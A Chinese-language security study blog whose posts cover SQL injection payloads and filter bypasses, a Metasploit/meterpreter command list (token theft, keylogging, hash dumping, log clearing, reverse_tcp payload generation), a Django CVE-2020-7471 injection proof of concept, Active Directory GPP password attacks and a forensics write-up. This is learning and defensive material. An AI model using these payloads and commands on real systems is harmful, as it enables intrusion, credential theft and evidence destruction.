      select schema_name from imformation_schema.schemata;
    • 查表
    1
    select schema_table from information_schema.tables where schema_name='security';
    • 查字段
    1
    select colunm_name from information_schema.colunms where table_name=users and table_schema='security';
    • 查数据
    1
    select * from security.users;

    d. 常用名词:

    information_schema

    系统数据库,记录当前数据库的数据库,表,列,用户权限等信息

    SCHEMATA

    储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等

    TABLES

    储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等

    COLUMNS

    储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等

4. 基本流程:

  1. 判断是否有注入点

  2. 获取数据库基本信息

    字段数:

    1
    order by n 
  3. 获取数据库库名

    1
    2
    3
    4
    --获取系统数据库名
    select null,null,schema_name from information_schema.schemata
    --获取当前数据库名
    select null,null,...,database()
  4. 获取数据库表名

    1
    2
    3
    select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()
    --或者
    select null,null,...,table_name from information_schema.tables where table_schema=database() limit 0,1
  5. 获取数据库列名

    1
    select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
  6. 获取用户信息

    1
    select null,group_concat(username,password) from users
  7. 破解数据

  8. 提升权限

  9. 内网渗透

5. 注入分类

按变量类型分

  • 数字型注入:注入的参数为整数
  • 字符型注入:注入的参数为字符/串
  • 搜索注入:在搜索栏中利用恶意代码进行注入

按HTTP提交方式分

  • GET注入

  • POST注入:注入字段在POST数据中

  • Cookie注入:注入字段在Cookie数据中

  • XFF注入:XFF(X-Forward-For),简称XFF头,它代表客户端真实的ip地址

按注入方式分

  • 报错注入

  • 盲注

    • 布尔盲注

      1
      id=1' substr(database(),1,1)='t'--+     /*判断数据名长度*/
    • 时间盲注

      1
      id = 1 and if(length(database())>1,sleep(5),1)
  • union注入

    列数相同且类型才能正常展示

    1
    id =-1 union select 1,2,3 /*获取字段*/

编码问题

  • 宽字节注入

    1. 宽字节是相对于ascII这样单字节而言;GB2312、GBK、GB18030、BIG5、Shift_JIS等都是宽字节,实际占两字节
    2. 一个gbk编码汉字,占2个字节。一个utf-8编码汉字,占3个字节
    3. 数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入

    转义函数:

    为过滤用户输入,对特殊的字符加反斜杠“\”进行转义;

    Mysql转义函数:addslashes,mysql_real_escape_string,mysql_escape_string等

    利用条件:

    • 查询参数是被单引号包围的,传入的单引号又被转义符()转义,如在后台数据库中对接受的参数使用addslashes()过滤
    • 数据库的编码为GBK
    • 前一个ASCII码要大于128,才可以到达汉字的编码范围

    利用方式:

    1
    id = -1%DF' union select 1,user(),3,%23

    在上述条件下,单引号’被转义为%5c,所以就构成了**%df**%5c,而在GBK编码方式下,%df%5c是一个繁体字“連”,所以单引号成功逃逸。

    1
    2
    %df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’
    用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql

    防御:

    使用mysql_set_charset指定字符集且使用mysql_real_escape_string进行转义

    1
    SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary
    1
    mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集(使用mysql_set_charset指定字符集),不会出现前面的df和5c拼接为一个宽字节的问题
  • base64注入:注入字符串经过base64加密

    对参数进行base64编码,再发送请求。

    1
    2
    /*id=1',1的base64编码为MSc=,而=的url编码为%3d*/
    id=MSc%3d

3.注入绕过

  • 大小写绕过:大小写不敏感

  • 双写绕过:将关键字select等只使用replace()函数置换为空,select变成seleselectct

  • 编码绕过(url全编码、十六进制):

    • 十六进制绕过
    1
    2
    3
    4
    5
    6
    mysql> select * from users where username = 0x7465737431;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    | 1 | test1 | pass |
    +----+----------+----------+
    • ascii 编码绕过

      Test 等价于 CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

  • 内联注释绕过 /* */

  • 关键字替换

    • 逗号绕过

      substr、mid()函数中可以利用from to来摆脱对逗号的利用;

      limit中可以利用offset来摆脱对逗号的利用

    • 比较符号( >、< )绕过

      1
      2
      3
      mysql> select * from users where !(id <> 1);
      --等价于
      mysql> select * from users where id = 1;
    • 逻辑符号的替换(and=&& or=|| xor=| not=!)

    • 空格绕过(用(),+等绕过)

  • 等价函数绕过

    • hex()、bin()=ascii()
    • concat_ws()=group_concat()
    • mid()、substr()=substring()
    • sleep() –>benchmark()
  • 缓冲区溢出绕过 (id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+ 其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好。。一般会存在临界值,其实这种方法还对后缀名的绕过也有用)

到这儿大概可以拿下数据库的基本用户权限,若需提权需参考mysql MOF和UDF提权。

4. 练习:

以下为自己练习内容(可忽略)

1.Retrieving hidden data

where子句的SQLi允许查询隐藏数据

  • 测试是否存在注入:’ ‘’,内部服务器错误,存在sql注入。

  • 数据库正常查询语句:
1
SELECT * FROM products WHERE category = 'pets' AND release = 1
  • 加单/双引号测试注入:内部服务器报错
1
SELECT * FROM products WHERE category = ''' AND release = 1
  • 加双连接符注释掉后面内容:无category为空的内容
1
SELECT * FROM products WHERE category = ''--' AND release = 1
  • 加入真命题,返回全部内容,包含发布与未发布的。release=1代表已发布的。
1
SELECT * FROM products WHERE category = '' or 1=1 --' AND release = 1

2.Subverting application logic

登陆绕过

与上面相同,这里不再过多赘述

1
2
3
4
5
6
正常查询语句:
SELECT firstname FROM users WHERE username = 'administrator' AND password = 'admin'
测试:
SELECT firstname FROM users WHERE username = ''' AND password = 'admin'
注释后成功注入:
SELECT firstname FROM users WHERE username = 'administrator'-- AND password = 'admin'

3.UNION attacks, where you can retrieve data from different database tables.

从数据库表中检索数据:

1
2
3
4
正常查询:
SELECT name,description FROM products WHERE category = 'GIFTS'
查询其他数据:
SELECT name,description FROM products WHERE category = ''UNION SELECT username, password FROM users--

union对原始查询结果追加多个额外的SELECT查询。必须满足:

  • 各个查询列数量相同。
  • 每个列中的数据类型相同。

要进行union注入的前提是,知道原始查询返回的列数、原始查询中返回的哪些列的数据类型比较适合保存注入的结果。

首先需要确定列数:

1
2
3
4
5
6
7
8
9
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.
//NULL可以转换为每种常用的数据类型
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

0x03 参考:

https://www.loongten.com/2019/12/28/pentest-learn-sql-bypass/

https://xz.aliyun.com/t/2869

https://tingqiao.github.io/posts/5a68b32e/

https://www.jianshu.com/p/5de47d05e333

msf深入起来包罗万象,那我们先慢慢来认识它吧。跟着某师傅的教程熟悉一遍,并记录自己所认为最重要的东西。

0x01 MSF基础认知

1.体系框架

2.文件系统

首先要知道msf的目录位于 /usr/share/metasploit-framework

先熟悉一下msf的重要文件系统:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
data:			Metasploit使用的可编辑文件,常用是其wordlists中的字典文件
modules: 实际的MSF模块
plugins: 可以在运行时加载的插件
scripts: Meterpreter和其他脚本
tools: 各种有用的命令行工具
documentation: 为框架提供文档
external: 源代码和第三方库
lib: 框架代码库的'肉'

modules包括:
auxiliary #漏洞辅助模块一般是没有攻击载荷的漏洞攻击
encoders #编码器模块
evasion #简单的反杀模块
exploits #渗透攻击模块
nops #空指令模块
payloads #漏洞负载模块

0x02 初始化

Metasploit使用PostgreSQL作为数据库,所以先启动postgresql.
并初始化数据库
然后以root用户打开MSF

0x03 后渗透必备命令

1)基本系统命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sessions -l  #列出会话id值   
sessions -i <ID值> #进入会话
sessions -k #杀死会话

reboot #重启/
shutdown #重启/关机

ps #查看当前活跃进程
kill <PID值> #杀死进程

background #将当前会话放置后台
run #执行已有的模块,输入run后按两下tab,列出已有的脚本
info #查看已有模块信息
getuid #查看权限
getpid #获取当前进程的pid
sysinfo #查看目标机系统信息
idletime #查看目标机闲置时间
shell #进入目标机cmd shell

0x04 常用命令

metasploit命令

  • help
    打开meterpreter使用帮助。
  • run scriptname
    运行meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名。
  • sysinfo
    列出受控主机的系统信息。
  • ls
    列出目标主机的文件和文件夹信息。
  • use priv
    加载特权提升扩展模块,来扩展metasploit库。
  • ps
    显示所有运行的进程以及相关联的用户账户。
  • migrate PID
    迁移到一个指定的进程ID(PID号可通过ps命令从主机上获得)。
  • use incognito
    加载incognito功能(用来盗窃目标主机的令牌或假冒用户)
  • list_tokens -u
    列出目标主机用户的可用令牌。
  • list_tokens -g
    列出目标主机用户组的可用令牌。
  • impersonate_token DOMAIN_NAME\USERNAME.
    假冒目标主机上的可用令牌。
  • steal_token PID
    盗窃给定进程的可用令牌并进行令牌假冒。
  • drop_token
    停止假冒当前令牌。
  • getsystem
    通过各种攻击向量来提升系统用户权限。
  • execute -f cmd.exe -i
    执行cmd.exe命令并进行交互。
  • execute -f cmd.exe -i -t
    以所有可用令牌来执行cmd命令并隐藏该进程。
  • rev2self
    回到控制目标主机的初始用户账户下。
  • reg command
    在目标主机注册表中进行交互,创建,删除,查询等操作。
  • setdesktop number
    切换到另一个用户界面(该功能基于那些用户已登录)。
  • screenshot
    对目标主机的屏幕进行截图。
  • upload file
    向目标主机上传文件。
  • download file
    从目标主机下载文件。
  • keyscan_start
    针对远程目标主机开启键盘记录功能。
  • keyscan_dump
    存储目标主机上捕获的键盘记录。
  • keyscan_stop
    停止针对目标主机的键盘记录。
  • getprivs
    尽可能多的获取目标主机上的特权。
  • uictl enable keyboard/mouse
    接管目标主机的键盘和鼠标。
  • background
    将你当前的metasploit shell转为后台执行。
  • hashdump
    导出目标主机中的口令哈希值。
  • use sniffer
    加载嗅探模式。
  • sniffer_interfaces
    列出目标主机所有开放的网络端口。
  • sniffer_dump interfaceID pcapname
    在目标主机上启动嗅探。
  • sniffer_start interfaceID packet-buffer
    在目标主机上针对特定范围的数据包缓冲区启动嗅探。
  • sniffer_stats interfaceID
    获取正在实施嗅探网络接口的统计数据。
  • sniffer_stop interfaceID
    停止嗅探。
  • add_user username password -h ip
    在远程目标主机上添加一个用户。
  • clearev
    清楚目标主机上的日志记录。
  • timestomp
    修改文件属性,例如修改文件的创建时间(反取证调查)。
  • reboot
    重启目标主机。

msfpayload命令

  • msfpayload -h
    msfpayload的帮助信息。
  • msfpayload windows/meterpreter/bind_tcp O
    列出所有windows/meterpreter/bind_tcp下可用的攻击载荷的配置项(任何攻击载荷都是可用配置的)。
  • msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT X > payload.exe
    创建一个metasploit的reverse_tcp攻击载荷,回连到LHOSTip的LPORT,将其保存为名为payload.exe的windows下可执行程序。
  • msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT R > payload.raw
    创建一个metasploit的reverse_tcp攻击载荷,回连到LHOSTip的LPORT,将其保存为名为payload.raw,该文件后面的msffencode中使用。
  • msfpayload windows/meterpreter/reverse_tcp LPORT=PORT C > payload.c
    创建一个metasploit的reverse_tcp攻击载荷,导出C格式的shellcode。
  • msfpayload windows/meterpreter/reverse_tcp LPORT=PORT J > payload.java
    创建一个metasploit的reverse_tcp攻击载荷,导出成以%u编码方式的javaScript语言字符串。

msfencode命令

  • mefencode -h
    列出msfencode的帮助命令。
  • msfencode -l
    列出所有可用的编码器。
  • msfencode -t (c,elf,exe,java,is_le,js_be,perl,raw,ruby,vba,vbs,loop_vbs,asp,war,macho)
    显示编码缓冲区的格式。
  • msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe
    使用shikata_ga_nai编码器对payload.raw文件进行5编码,然后导出一个名为encoded_payload.exe的文件。
  • msfpayload windows/meterpreter/bind_tcp LPORT=PORT R | msfencode -e x86/_countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe
    创建一个经过多种编码格式嵌套编码的攻击载荷。
  • msfencode -i payload.raw BufferRegister=ESI -e x86/al破解a_mixed -t c
    创建一个纯字母数字的shellcode,由ESI寄存器只想shellcode,以C格式输出。

MSFcli命令

  • msfcli | grep exploit
    仅列出渗透攻击模块。
  • msfcli | grep exploit/windows,
    仅列出与windows相关的渗透攻击模块。
  • msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=PORT RHOST=IP E
    对IP发起ms08_067_netapi渗透攻击,配置了bind_tcp攻击载荷,并绑定在PORT端口进行监听。

其他命令

  • show exploits
    列出metasploit框架中的所有渗透攻击模块。
  • show payloads
    列出metasploit框架中的所有攻击载荷。
  • show auxiliary
    列出metasploit框架中的所有辅助攻击载荷。
  • search name
    查找metasploit框架中所有的渗透攻击和其他模块。
  • info
    展示出制定渗透攻击或模块的相关信息。
  • use name
    装载一个渗透攻击或模块。
  • LHOST
    本地可以让目标主机连接的IP地址,通常当目标主机不在同一个局域网内时,就需要是一个公共IP地址,特别为反弹式shell使用。
  • RHOST
    远程主机或是目标主机。
  • set function
    设置特定的配置参数(EG:设置本地或远程主机参数)。
  • setg function
    以全局方式设置特定的配置参数(EG:设置本地或远程主机参数)。
  • show options
    列出某个渗透攻击或模块中所有的配置参数。
  • show targets
    列出渗透攻击所有支持的目标平台。
  • set target num
    指定你所知道的目标的操作系统以及补丁版本类型。
  • set payload name
    指定想要使用的攻击载荷。
  • show advanced
    列出所有高级配置选项。
  • set autorunscript migrate -f.
    在渗透攻击完成后,将自动迁移到另一个进程。
  • check
    检测目标是否选定渗透攻击存在相应的安全漏洞。
  • exploit
    执行渗透攻击或模块来攻击目标。
  • exploit -j
    在计划任务下进行渗透攻击(攻击将在后台进行)。
  • exploit -z
    渗透攻击完成后不与回话进行交互。
  • exploit -e encoder
    制定使用的攻击载荷编码方式(EG:exploit -e shikata_ga_nai)。
  • exploit -h
    列出exploit命令的帮助信息。
  • sessions -l
    列出可用的交互会话(在处理多个shell时使用)。
  • sessions -l -v
    列出所有可用的交互会话以及详细信息,EG:攻击系统时使用了哪个安全漏洞。
  • sessions -s script
    在所有活跃的metasploit会话中运行一个特定的metasploit脚本。
  • sessions -K
    杀死所有活跃的交互会话。
  • sessions -c cmd
    在所有活跃的metasploit会话上执行一个命令。
  • sessions -u sessionID
    升级一个普通的win32 shell到metasploit shell。
  • db_create name
    创建一个数据库驱动攻击所要使用的数据库(EG:db_create autopwn)。
  • db_connect name
    创建并连接一个数据库驱动攻击所要使用的数据库(EG:db_connect user:passwd@ip/sqlname)。
  • db_namp
    利用nmap并把扫描数据存储到数据库中(支持普通的nmap语句,EG:-sT -v -P0)。
  • db_autopwn -h
    展示出db_autopwn命令的帮助信息。
  • db_autopwn -p -r -e
    对所有发现的开放端口执行db_autopwn,攻击所有系统,并使用一个反弹式shell。
    db_destroy
    删除当前数据库。
  • db_destroy user:passwd@host:port/database
    使用高级选项来删除数据库。

参考:

  1. https://blog.csdn.net/qq_34801745/article/details/110790957
  2. 详细章节:https://blog.csdn.net/qq_34801745/article/details/110790957?spm=1001.2014.3001.5502

0x01 前言

Django作为开放源码的Web应用python框架,作为最有代表性的web框架,构建了多种网站和APP。Django负责处理网站开发中麻烦的部分,因此让开发者专注于应用程序的编写。其采用了MVT的软件设计模式,即模型(Model),视图(View)和模板(Template),注重组件的重用性和“可插拔性”。
原理
通过构造分隔符,传递给聚合函数contrib.postgres.aggregates.StringAgg,从而绕过转义符号(\)来注入恶意SQL语句。
漏洞的核心是StringAgg(delimiter),StringAgg聚合函数的delimiter参数存在SQL注入漏洞。

介绍下StringAgg,它会将输入的值使用 delimiter 分隔符级联起来。比如

1
Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter="-"))

这个查询操作就是查询 Info 对应的 postgres 数据表的 gender 列,将gender相同的 name 列使用横线连接聚合,输入如下:

漏洞位于django/django/contrib/postgres/aggregates/general.py

1
from django.contrib.postgres.aggregates import StringAgg

可以看到官方使用Value函数来防止注入,Value函数的内容如下

Value参数会被添加到sql参数列表,然后被Django内置的过滤机制过滤,来防注。

如何导致SQL 注入:django/django/contrib/postgres/aggregates/general.py

delimiter没有任何过滤,我们可以通过闭合单引号来利用注入

(此图摘自先知社区)

测试发现,当delimiter为单引号时,会报错。可以看出单引号未经过任何转义嵌入到了 SQL 语句中,然后需要追踪内部程序找出完整的 SQL 语句上下文。从上面的图中可以看出来,查询语句调用了self.cursor.execute,sql变量还没嵌入时,delimiter 的值如下:

(此图摘自先知社区)

运行后看到此时sql已加入delimiter为单引号的取值。因为此处sql为字符串,所以需要转义。若是postgres则会执行以下内容:

1
SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", ''') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1

此时三个单引号会导致语法错误,postgres的注释符为’)–。将delimiter设置为')--,可以成功注释from语句

为构造合法的上下文,将 delimiter设置为

**’-') AS “mydefinedname” FROM “vul_app_info” GROUP BY “vul_app_info”.”gender” LIMIT 1 OFFSET 1 – ‘ **

输出为

1
{'gender': 'male', 'mydefinedname': 'li-zhao'}

若设置delimiter为-

1
delimiter="-"

该语句使用StringAgg类,用于将输入的值使用delimiter分隔符级联。原本的语句中,查询info对应的gender列,并使用-来连接。就可以通过修改delimiter的内容来实现注入

输出为

1
2
{'gender': 'female', 'mydefinedname': 'zhang'}
{'gender': 'male', 'mydefinedname': 'li-zhao'}

POC如下:

1
2
3
4
5
6
7
8
9
payload = '-'
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
for e in results:
print(e)
print("[+]注入后的的输出:")
payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
for e in results:
print(e)

0x02 漏洞复现

  • 影响版本
    Django 1.11.x < 1.11.28
    Django 2.2.x < 2.2.10
    Django 3.0.x < 3.0.3
    Django 主开发分支
    其中Django 1.11.28、Django 2.2.10、Django 3.0.3不受影响。
  • 测试环境
    kalil
    Django 3.0.2

    0x03 环境搭建

    pip install django==3.0.2
    安装postgres数据库,创建数据库test,并修改数据库密码

    0x04 漏洞复现

  1. 由于刚才更改了数据库密码,于是更改配置文件的数据库名称以及密码
    进入CVE-2020-7471/sqlvul_projects/settings.py,修改数据库配置,如果之前安装postgres数据库使用的默认配置(包括密码),这里就不需修改任何任何配置.
    此处只需修改password为刚才设置密码。

  2. 再利用CVE-2020-7471/manage.py初始化测试数据库test数据库中的表

    初始化环境完成。
  3. 进入test数据库查看表
    进入数据库
    \c test
    查看全部表
    \d

    查看表vul_app_info的信息
    select * from vul_app_info;

    可以看到此刻表为空
  4. 执行POC向数据库写入数据

    若执行成功POC中将插入三条数据
    利用CVE-2020-7471/CVE-2020-7471.py写入数据


    写入成功。

    0x05 漏洞修复

    升级到Django最新版3.0.3

    参考

翻译和复现Attack Methods for Gaining Domain Admin Rights in Active Directory

攻击者有很多方法可以获得活动目录中的域管理权限。本篇文章旨在介绍一些目前比较流行的方法。这里描述的 “assume breach”建立在攻击者已经在内部系统上有了立足点,并获得了域用户凭证(即后渗透阶段)。
不幸的是,对于大多数企业来说,攻击者从域用户到域管理员往往不需要很长时间。防御者心中的问题是 “这种情况是如何发生的?”。
攻击通常从向用户发送鱼叉式钓鱼电子邮件开始,使攻击者能够在目标网络内的计算机上运行代码。一旦攻击者让他们的代码在企业内部运行,第一步就是进行侦察,发现可用资源,从而提升权限,坚持下去,当然还有收集关键信息(通常是一个组织的 “皇冠上的珠宝”)。
While the overall process detail varies, the overall theme remains:
虽然流程细节各不相同,但总的主题仍然是:
恶意软件注入(鱼叉式钓鱼、web漏洞等)
内部侦察
窃取凭证
利用及提权
数据访问及过滤
后门维持
攻击者首先得在企业内部有一个立足点。此外,攻击者通常从攻击者的用户权限提升到本地管理员权限并不是很难。提权利用可以通过利用系统上未打补丁的权限升级漏洞来实现,更为常见的是在SYSVOL(如组策略首选项)中找到本地管理员密码。
在2015年举办的BSides, Shakacon, Black Hat, DEF CON, 和 DerbyCon这五个安全会议中,我谈到了本文中的大部分技术。
我也在 “The Most Common Active Directory Security Issues and What You Can Do to Fix Them “一文中介绍了其中的一些问题。

从域用户到域管理员的攻击技术:
1.SYSVOL和组策略首选项中的密码
这种方法是最简单的,不需要特殊的 “黑客 “工具。攻击者所要做的就是打开Windows资源管理器,搜索域SYSVOL DFS共享中的XML文件。大多数情况下,groups.xml、scheduletasks.xml、Services.xml等XML文件会包含凭证。

SYSVOL是Active Directory中的域范围共享,AD中所有经过认证的用户都可以读取访问。SYSVOL包含登录脚本、组策略数据和其他需要在有域控制器的任何地方提供的域范围内的数据(因为SYSVOL在所有域控制器之间自动同步和共享)。所有域组策略都存储在这里/DOMAIN> /SYSVOL/
/Policies/

当创建一个新的GPP时,会在SYSVOL中创建一个相关的XML文件,里面有相关的配置数据,如果有提供密码,则是AES-256加密、。

除了在2012年之前,微软在MSDN上公布了AES加密密钥(共享秘密),可以用来解密密码。由于经过认证的用户(任何域用户或受信任域中的用户)都有对SYSVOL的读取权限,因此域中的任何人都可以在SYSVOL共享中搜索包含 “cpassword “的XML文件,该文件是包含AES加密密码的值。

通过访问这个XML文件,攻击者可以使用AES私钥来解密GPP密码。PowerSploit函数Get-GPPPassword对于组策略优先级的利用最为有用。以上截图显示了一个类似的PowerShell函数,从SYSVOL中找到的XML文件中加密GPP密码。

其他文件类型也可能有内嵌的密码(通常是明文的),如vbs和bat。

我们会认为,随着补丁的发布,管理员应该不会再在组策略首选项中放置凭证,但是我在评估客户安全时,仍然会在SYSVOL中发现凭证。

解决方法:

  • 在每台用于管理GPO的计算机上安装KB2962486,它可以防止新的凭证被放在组策略首选项中。
  • 删除SYSVOL中包含密码的现有GPP xml文件。
  • 不要把密码放在所有经过认证的用户都能访问的文件中。
    关于这种攻击方法的更多信息在帖子中介绍。Finding Passwords in SYSVOL & Exploiting Group Policy Preferences.

0x01 前言

鉴于经常会有奇怪的思想,故而为自己专门书写这么一篇文章,想到什么记什么。

包含任务、所好奇之事

0x02 具现

1. 一次百度涉及?从浏览器输入URL到浏览器显示页面发生了什么?

  1. 输入地址
    输入地址时,浏览器其实已经开始只能匹配URL,用于补全。当然如果有缓存,直接从缓存中展示网页。

  2. 浏览器查找域名IP
    查看本地hosts文件,查看其中是否有与此域名对应的规则,如果有,则直接用此IP;
    若无,向本地DNS服务器(自己网络接入服务器商所提供)发出请求,服务器会查询其缓存记录;
    若无,本地服务器向DNS根服务器查询;
    若无,根据跟服务器给出的域服务器地址,让本地DNS服务器去找域服务器;
    .com域服务器返回本地服务器的域名解析服务器的地址;
    本地服务器向域名解析服务器发出请求,收到域名与IP地址的对应关系。并保存于缓存中用于下次快速访问。

  3. 浏览器向web服务器发送HTTP请求
    浏览器以随机端口[1024-65535]向服务器的web服务(nginx、httpd)80端口发起TCP连接请求。通过多种路由设备,进入网卡,然后进入到内核的TCP/IP协议栈对该包进行解封。可能还要经过Netfilter防火墙(内核模块的过滤)
    ,最终到达web程序,建立TCP连接。常称TCP三次握手。
    建立TCP连接后,发起HTTP请求。GET、POST、PUT 和 DELETE 、HEAD、OPTION以及 TRACE。
    http请求一般包含三部分:请求方法URL协议/版本(第一行)、请求头(Request Header)、请求正文。
    请求头和请求正文之前存在一个空行,表示请求头已经结束,接下来的是请求正文

  4. 服务器的永久重定向响应
    server给浏览器响应一个301永久重定向响应,301永久重定向:把带www的和不带www的访问地址归到同一个网站排名下

  5. 浏览器跟踪重定向地址
    浏览器知道http://www.google.com/ 是访问的正确地址,所以发送另一个http请求。

  6. 服务器处理请求
    后端从固定端口接收TCP报文,处理TCP连接,解析HTTP协议,按照报文格式封装成供上层使用的HTTP Request对象;
    大网站使用反向代理服务器时,客户端先请求到nginx,nginx再请求应用服务器,最后将结果返回给客户端,Nginx是反向代理服务器。以免某台服务器down了,影响用户使用。

  7. 服务器返回一个HTTP响应
    HTTP响应与HTTP请求相似,由3个部分构成:状态行、响应头(Response Header)、响应正文

  1. 浏览器显示 HTML
    WebKit引擎渲染的过程:
    解析html以构建dom树 -> 构建render树 -> 布局render树 -> 绘制render树
  2. 浏览器发送请求获取嵌入在 HTML 中的资源(如图片、音频、视频、CSS、JS等等)
  • DNS负载均衡
    针对请求资源膨胀的情况,为了防止机子down掉。
    原理:在DNS服务器中为同一个主机名配置多个IP地址,在应答DNS查询时,将DNS文件中主机记录的IP地址按顺序访问返回不同的解析结果。使得不同客户端访问不同服务器,从而能达到负载均衡的目的。

  • 为什么需要三次握手?

第一次握手:client将标志位SYN置为1,随机产生一个值为seq=J(J的取值范围为=1234567)的数据包到服务器,client进入SYN_SENT状态,等待server确认;

第二次握手:server收到数据包后由标志位SYN=1知道client请求建立连接,server将标志位SYN和ACK都置为1,ack=J+1,随机产生一个值seq=K,并将该数据包发送给client以确认连接请求,server进入SYN_RCVD状态。

第三次握手:client收到确认后,检查ack是否为J+1,ACK是否为1,如果正确则将标志位ACK置为1,ack=K+1,并将该数据包发送给server,server检查ack是否为K+1,ACK是否为1,如果正确则连接建立成功,client和server进入ESTABLISHED状态,完成三次握手,随后client与server之间可以开始传输数据了。

三次握手”的目的是为了防止已失效的连接请求报文段突然又传送到了服务端,产生错误。
某滞留请求延迟发给服务端,服务器返回确认报文,若是client一直不确认,server会一直等待,造成资源浪费。

  • 为什么需要四次挥手?
  • 第一次挥手:* Client发送一个FIN,用来关闭Client到Server的数据传送,Client进入FIN_WAIT_1状态。

第二次挥手: Server收到FIN后,发送一个ACK给Client,确认序号为收到序号+1(与- SYN相同,一个FIN占用一个序号),Server进入CLOSE_WAIT状态。

第三次挥手: Server发送一个FIN,用来关闭Server到Client的数据传送,Server进入LAST_ACK状态。

第四次挥手: Client收到FIN后,Client进入TIME_WAIT状态,接着发送一个ACK给Server,确认序号为收到序号+1,Server进入CLOSED状态,完成四次挥手。
四次挥手,在server收到对方的FIN时,表示client不再发送数据,但是还可以接收server的数据。所以将ACK和FIN分开发送。

3.命令

tar xzvf
sudo ufw disable

mv用来改名哦.cp更靠谱一点

4. tips

对于命令注入不过滤参数的:&

5.nmap

nmap -sn ping scan, - disable port scan

0x01 前言

话不多说 直接复盘 查漏补缺

0x02 分析思路

检材1:

使用仿真对检材1进行分析,开机后发现该Linux无法使用密码远程连接,修改配置文件/etc/ssh/sshd_config文件进行配置:
把PasswordAuthentication后的参数改为yes,重启ssh服务(systemctl restart sshd)即可使用远程工具连接;

查看历史执行命令history,可看到少数命令,怀疑本地的历史命令被加密,/var/log日志目录被删除:

netstat -anptl查看服务器开启的端口发现8091和39999上有docker-proxy

使用docker ps命令查看docker容器情况,发现docker运行了3个容器,其中验证了第二个ssh的容器属于干扰项,没有作用;

id为16fc..的容器将自身80端口映射到了本机8091端口上,主要运行的命令为nginx;
id为53766的容器开启了8012端口,主要运行命令docker-entrypoint.sh;
使用docker inspect 命令可以查看到容器详细信息,如下:








使用命令 docker exec -it id号 /bin/bash可以进入到容器内部,16fc160060c1容器内主要运行nginx服务,因此查看nginx配置文件:


通过查看nginx配置文件可以知道,nginx访问日志放在相对路径logs下的jrweb.log中,nginx将所有来自自身80端口的请求转发到IP为172.17.0.3的8012端口上,由ID为53766d68636f的容器开启的8012端口可知,应该是转发到该容器,该容器(53766d68636f)在案件中的ip应为172.172.0.3(由于出题时候未设固定ip因此每个人仿真起来之后ip可能会发生变化,前面查看docker inspect时候可看到该容器ip变化为172.17.0.2);

通过查看访问网站的访问日志jrweb.log可知,该网站案发当时的IP地址为192.168.184.128,使用端口8091,分别有ip192.168.184.1和192.168.184.133对该网站进行过访问,133的ip可以看到有尝试登陆的请求;

查看Id为53766d68636f的容器,查看history命令可知网站路径为/home/vue2-element-touzi-admin(物理机路径可以查看前面docker inspect),


网站根目录下有README.md文件,通过查看可了解网站大致的配置情况,查看server目录下的index.js可知网站的主要配置情况

查看server目录下的api.js文件课知,该文件引用了当前目录下的db文件

查看网站/server目录下的db.js文件可知,该网站使用mongo的数据库,数据库用户名和密码为root、root,网站使用站库分离结构,数据地址位于192.168.184.129(该ip为检材2的解压密码),使用端口27017,使用的databases为tougu;

检材2:

使用192.168.184.129对检材2进行解压,对检材计算哈希并及进行静态分析和仿真:
使用history命令发现如下信息:下载过某程序、执行了encrypt(5)程序,删掉了之前的bash历史记录:

前面分析已知该服务器为mongodb服务器,通过端口确认mongo监听在27017端口

通过/root/.dbshell发现数据库操作的shell记录,里面发现几条重要信息(由于shell没有时间戳,只能用来推测不能单过证据)

通过查看mongo进程信息发现mongo的配置信息,查看mongod.conf文件发现mongod的日志配置情况和安装物理路径。


结合系统登陆日志和mongo的日志查看,发现在时间7-11 18:05至18:32分中间,133IP一直在登录状态,同时间没有其他用户登陆,日志中,同时间端发现大量的操作日志,drop为删除数据库指令



检材3

使用192.168.184.133对检材3进行解压,对检材计算哈希并及进行静态分析和仿真:
通过history命令查看历史命令记录,可以看到大量安装配置pptpd(pptpd是指运行在服务器上提供pptp协议服务的软件)的命令:

其中还有大量修改时区信息的命令

数据包抓取的命令:

通过查看pptpd的配置文件可知如下信息:配置了options.pptpd、开启写入wtmp、定义了本地远程IP地址(可以参看教程https://blog.csdn.net/ljm_503909378/article/details/41478121):



